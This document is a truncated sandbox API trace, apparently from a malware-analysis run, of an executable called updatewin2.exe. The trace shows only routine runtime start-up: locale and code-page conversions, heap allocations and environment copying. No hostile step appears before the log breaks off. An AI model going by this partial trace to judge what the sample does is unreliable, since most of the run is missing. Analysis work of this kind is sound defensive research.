GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe\" " [0053.495] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe\" " [0053.495] GetACP () returned 0x4e4 [0053.495] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x220) returned 0x31a1c0 [0053.495] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.495] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f548 | out: lpCPInfo=0x18f548) returned 1 [0053.495] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee10 | out: lpCPInfo=0x18ee10) returned 1 [0053.495] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.495] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eba8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.495] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x18ee24 | out: lpCharType=0x18ee24) returned 1 [0053.495] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.495] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.496] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.496] GetLastError () returned 0x57 [0053.496] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0053.496] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.496] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f324, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1e\x14\x50\x4a\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0053.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.496] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.496] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18e968, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0053.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f224, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1e\x14\x50\x4a\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x80) returned 0x31a3e8 [0053.496] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x417ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe")) returned 0x5f [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xc8) returned 0x31c478 [0053.496] RtlInitializeSListHead (in: ListHead=0x417bc8 | out: ListHead=0x417bc8) [0053.496] GetLastError () returned 0x0 [0053.496] SetLastError (dwErrCode=0x0) [0053.496] GetEnvironmentStringsW () returned 0x31c548* [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xaca) returned 0x31d020 [0053.496] FreeEnvironmentStringsW (penv=0x31c548) returned 1 [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x98) returned 0x31c548 [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x31db10 [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6c) returned 0x31c5e8 [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6e) returned 0x31c660 [0053.496] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x78) returned 0x301180 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x62) returned 0x31c6d8 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x3052d0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x31c748 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x28) returned 0x31a470 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1a) returned 0x31c028 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4a) returned 0x31c798 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x72) returned 0x301200 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x305308 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x305340 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1c) returned 0x31c050 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xd2) returned 0x31c7f0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x7c) returned 0x31c8d0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x31c958 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3a) returned 0x31db58 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x90) returned 0x31c998 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x31ca30 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x305378 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x31ca60 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x31caa0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x31caf0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x31dba0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x82) returned 0x31cb50 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x3053b0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1e) returned 0x31c078 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2c) returned 0x3053e8 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x31cbe0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x31cc40 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x305420 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x31dbe8 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x31cca0 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x31cd00 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x305458 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8c) returned 0x31cd30 [0053.497] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d020 | out: hHeap=0x2f0000) returned 1 [0053.497] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x800) returned 0x31cdc8 [0053.498] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.498] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402b17) returned 0x404e49 [0053.498] GetStartupInfoW (in: lpStartupInfo=0x18f590 | out: lpStartupInfo=0x18f590*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1423) returned 0x31eaf8 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1423) returned 0x31ff28 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c118 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x18) returned 0x31d5d0 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c140 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x30) returned 